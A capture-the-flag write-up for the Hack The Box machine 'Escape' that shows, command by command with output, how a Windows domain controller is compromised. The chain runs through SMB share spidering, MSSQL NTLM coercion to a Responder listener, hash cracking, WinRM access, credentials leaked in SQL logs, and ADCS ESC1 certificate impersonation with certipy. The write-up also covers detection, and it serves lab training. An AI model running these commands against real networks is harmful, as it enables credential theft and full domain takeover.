🪴 Quartz 4.0

HTB - Escape

May 04, 202610 min read

HTB - Escape

Target IP: 10.129.12.50 Domain: sequel.htb DC Hostname: DC.sequel.htb OS: Windows Server (Domain Controller) Difficulty: Medium Assumed Breach: No — initial access via unauthenticated enumeration Author: [g1nt0n1x]

Ⓩ — zbulim notation: Steps marked with Ⓩ were performed automatically by zbulim, my automated recon tool. They are shown manually here for proof of concept and documentation purposes.

1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery Ⓩ

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb)
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

| smb2-security-mode:
|_    Message signing enabled and required
|_clock-skew: mean: 1h00m07s, deviation: 0s, median: 1h00m06s

Port Analysis & Attack Surface

PortServiceNotes
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: sequel.htb, DC: DC.sequel.htb
445/tcpSMBSigning required — relay attacks blocked
1433/tcpMSSQLSQL Server 2019 — unusual on a DC, high-value target
5985/tcpWinRMRemote shell entry point if valid credentials found

The presence of MSSQL on a DC is immediately notable. SQL Server services run under a domain account, which means coercing NTLM authentication from MSSQL can capture that account’s NTLMv2 hash.

Note: On the first box instance, port 1433 was filtered (service was down). Reset the box if a port that should logically be open isn’t — this is a common HTB infrastructure issue, not a box misconfiguration.

2. Phase 2: SMB Enumeration & Credential Discovery

2.1 Guest Session — Share Enumeration Ⓩ

nxc smb 10.129.228.253 -u 'guest' -p '' --shares
# Share           Permissions     Remark
# IPC$            READ            Remote IPC
# Public          READ            <-- Non-Standard

A non-standard Public share readable by guest. Any share that doesn’t ship with Windows by default is worth investigating — it was created by a human and likely contains something intentional.

2.2 Spider Share Contents Ⓩ

nxc smb 10.129.228.253 -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
# └── Public
#    └── SQL Server Procedures.pdf

2.3 Inspect Downloaded Files

SQL Server Procedures.pdf contents:

"For new hired and those that are still waiting their users to be created and
perms assigned, can sneak a peek at the Database with user PublicUser and
password GuestUserCantWrite1. Refer to the previous guidelines and make sure
to switch the 'Windows Authentication' to 'SQL Server Authentication'"

Cleartext credentials embedded in an onboarding PDF left in a public share. The IT team created a convenience credential for new users — and exposed it to anyone with guest access.

Credentials found: PublicUser:GuestUserCantWrite1

3. Phase 3: MSSQL Access & NTLM Coercion

3.1 Validate MSSQL Credentials

nxc mssql DC.sequel.htb -u PublicUser -p GuestUserCantWrite1 --local-auth
# [+] DC\PublicUser:GuestUserCantWrite1

No (Pwn3d!) means this account cannot enable xp_cmdshell or execute OS commands — it’s a low-privilege SQL login. However, SQL Server can be abused in other ways.

3.2 NTLM Hash Capture via MSSQL Coercion

SQL Server has built-in functions (like xp_dirtree, xp_fileexist) that make the server connect to a UNC path — triggering Windows authentication. If we point that UNC path at our machine running Responder, the SQL Server service account authenticates to us and we capture its NTLMv2 hash.

This works because:

  1. SQL Server runs under a domain service account (sql_svc)
  2. When the server connects to our UNC path, Windows automatically sends NTLMv2 credentials
  3. SMB signing is required on the DC itself — but the outbound connection from the server to our listener is not protected

Step 1 — Start Responder (MITM listener)

sudo responder -I tun0 -dvw

Step 2 — Trigger the coercion via nxc

nxc mssql DC.sequel.htb -u PublicUser -p GuestUserCantWrite1 --local-auth \
    -M mssql_coerce -o LISTENER=10.10.16.149

Step 3 — Capture the hash in Responder

[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:57c7aad3c557c97d:89D3D93A56FAFF...

3.3 Crack the NTLMv2 Hash

# -m 5600: NetNTLMv2
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt --force -O
# sql_svc:REGGIE1234ronnie

3.4 Shell via WinRM

evil-winrm -i 10.129.12.50 -u sql_svc -p REGGIE1234ronnie

4. Phase 4: Post-Exploitation — Credentials in Logs

4.1 SQL Server Error Log

# Download the SQL Server error log backup from the default log directory
download C:\SQLServer\Logs\ERRORLOG.BAK

4.2 Fat-Finger Password in Logs

2022-11-18 13:43:07.44  Logon  Logon failed for user 'sequel.htb\Ryan.Cooper'.
2022-11-18 13:43:07.48  Logon  Logon failed for user 'NuclearMosquito3'.

A user (Ryan.Cooper) accidentally typed their password into the username field. SQL Server logged the failed attempt including the literal string entered — exposing the cleartext password in the error log. This is a well-known accidental credential disclosure pattern and a standard thing to check in SQL Server logs.

Credentials found: Ryan.Cooper:NuclearMosquito3

4.3 Validate & Pivot

nxc winrm 10.129.12.50 -u Ryan.Cooper -p NuclearMosquito3
# [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)

5. Phase 5: ADCS Enumeration & ESC1 Exploitation

5.1 Scan for Vulnerable Certificate Templates

certipy-ad find -vulnerable -u Ryan.Cooper -p NuclearMosquito3 \
    -dc-ip 10.129.12.50 -stdout
# [!] Vulnerabilities
# ESC1: Enrollee supplies subject and template allows client authentication

5.2 Request Certificate as Administrator (ESC1)

# -upn: the UPN we want embedded in the certificate (impersonating administrator)
# -template: the vulnerable template name
certipy-ad req -u Ryan.Cooper -p NuclearMosquito3 \
    -target sequel.htb -ca sequel-DC-CA \
    -upn administrator@sequel.htb -template UserAuthentication
# Wrote certificate and private key to 'administrator.pfx'

5.3 Sync Clock for Kerberos

Kerberos requires clock skew under 5 minutes. Always sync before certificate-based auth.

sudo ntpdate -s 10.129.12.50

5.4 Authenticate with Certificate → Retrieve NT Hash

# Uses PKINIT: authenticates with the certificate, then performs U2U to extract the NT hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.12.50 -domain sequel.htb
# Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

5.5 Validate & Pass the Hash

nxc smb 10.129.12.50 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee
# [+] sequel.htb\administrator:a52f78e4c751e5f5e17e1e9f3e58f4ee (Pwn3d!)

Domain compromised.

Deep Dive: NTLM Coercion via MSSQL

SQL Server ships with several stored procedures and functions that make outbound network connections: xp_dirtree, xp_fileexist, xp_subdirs, and others. These were designed for legitimate use (reading files, accessing network paths), but they can be abused to force the SQL Server service account to authenticate to an attacker-controlled host.

The attack flow:

  1. Attacker starts a listener (Responder) that speaks SMB and captures NTLM auth attempts
  2. Attacker calls xp_dirtree '\\<attacker-ip>\share' via an authenticated SQL session
  3. SQL Server’s OS process makes a real SMB connection to the attacker’s IP
  4. Windows automatically performs NTLMv2 authentication on behalf of the service account
  5. Responder captures the NTLMv2 challenge/response — this is the crackable hash

Why SMB signing doesn’t protect here: SMB signing prevents relay attacks (forwarding captured auth to another server). It does not prevent capture — the hash is still sent in cleartext challenge-response format over the wire. Signing only guarantees the session is authentic, not the credentials themselves.

Why service accounts crack easily: SQL Server service accounts are often configured by DBAs who prioritize stability over security. They frequently use simple passwords that were set years ago and never rotated.

Deep Dive: Credentials in SQL Server Error Logs

SQL Server logs all authentication attempts to its error log, including the username supplied. When a user accidentally types their password into the username field (a “fat-finger”), SQL Server dutifully logs it:

Logon failed for user 'NuclearMosquito3'

This is not a bug — it is intended behaviour for auditing. But it creates a cleartext credential disclosure whenever:

  • A user confuses the username/password fields
  • An application has a misconfigured connection string
  • A script has hardcoded credentials in the wrong parameter

Where to look on a compromised MSSQL host:

LocationContents
C:\Program Files\Microsoft SQL Server\MSSQL*\MSSQL\Log\ERRORLOGCurrent log
C:\Program Files\Microsoft SQL Server\MSSQL*\MSSQL\Log\ERRORLOG.1-.9Rotated logs
C:\SQLServer\Logs\ERRORLOG.BAKCustom log path (this box)

Always download all available log rotations — the fat-finger event may have occurred weeks ago.

Deep Dive: ADCS ESC1

Active Directory Certificate Services (ADCS) is Microsoft’s PKI solution. It issues certificates for user authentication, code signing, encrypted email, and more. Certificate templates define what a certificate can be used for and who can request one.

ESC1 is a misconfiguration where two dangerous settings are combined on the same template:

SettingWhat it means
Enrollee Supplies Subject (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)The requester can specify an arbitrary Subject Alternative Name (SAN) — including any UPN they want
Client Authentication EKUThe issued certificate can be used to authenticate to Active Directory via Kerberos (PKINIT)

Normally, when you request a certificate, the CA embeds your identity (your UPN) into the SAN. This ties the certificate to you. With ESC1, the CA lets you specify whose identity to embed — meaning you can request a certificate that claims to be administrator@sequel.htb even though you’re ryan.cooper@sequel.htb.

Why the CA Accepts It

The CA doesn’t validate the UPN you supply against your actual identity — it trusts the template configuration. If the template says “enrollee supplies subject,” the CA assumes the administrator who configured the template made an intentional choice. In practice, this is almost always a misconfiguration.

The Full Attack Flow

Ryan.Cooper (low-priv)
    │
    ├─[1]─► certipy req -upn administrator@sequel.htb
    │           │  CA checks: is Ryan enrolled for UserAuthentication? YES
    │           │  CA checks: does template allow enrollee-supplied subject? YES
    │           └─► Issues cert with SAN = administrator@sequel.htb
    │
    ├─[2]─► certipy auth -pfx administrator.pfx
    │           │  Kerberos PKINIT: DC sees cert with SAN = administrator
    │           │  DC trusts the certificate (signed by its own CA)
    │           └─► Issues TGT for administrator
    │
    └─[3]─► Extract NT hash via U2U Kerberos
                └─► administrator NT hash obtained without touching LSASS

Why It’s Powerful

  • No password needed — the certificate bypasses password authentication entirely
  • Persists across password resets — if the admin resets their password, your certificate still works until it expires
  • Stealthy — certificate-based auth generates different event IDs than password auth, often missed by alerting rules
  • Directly yields NT hash — the certipy auth step uses a U2U Kerberos exchange to convert the TGT into an NT hash, enabling Pass-the-Hash

Detection

  • Event ID 4886 (Certificate Services received a certificate request) with a subject name different from the requester’s identity
  • Event ID 4887 (Certificate Services approved a request) — correlate with 4886
  • Certipy’s find -vulnerable output identifies ESC1 instantly; defenders should run the same tool against their own CA

Key Takeaways & Checklist

  • Ⓩ marks steps automated by zbulim — shown manually here for proof of concept
  • MSSQL on a DC is a major attack surface — service accounts can be coerced into authenticating to Responder
  • Always check xp_dirtree-style coercion when you have any SQL login, even read-only ones
  • mssql_coerce module in nxc automates the coercion trigger in one command
  • SQL Server error logs are a goldmine for fat-finger credentials — check all rotations (ERRORLOG, ERRORLOG.1, etc.)
  • After gaining a new account, always re-run certipy-ad find -vulnerable — CA enrollment rights differ per user
  • ESC1 = enrollee supplies subject + client auth EKU = arbitrary impersonation via certificate
  • certipy-ad req -upn administrator@domain → certipy-ad auth -pfx is the full ESC1 chain
  • Always sync the clock with ntpdate before any Kerberos operation
  • Validate NT hashes with nxc smb -H before attempting further lateral movement

Graph View

Backlinks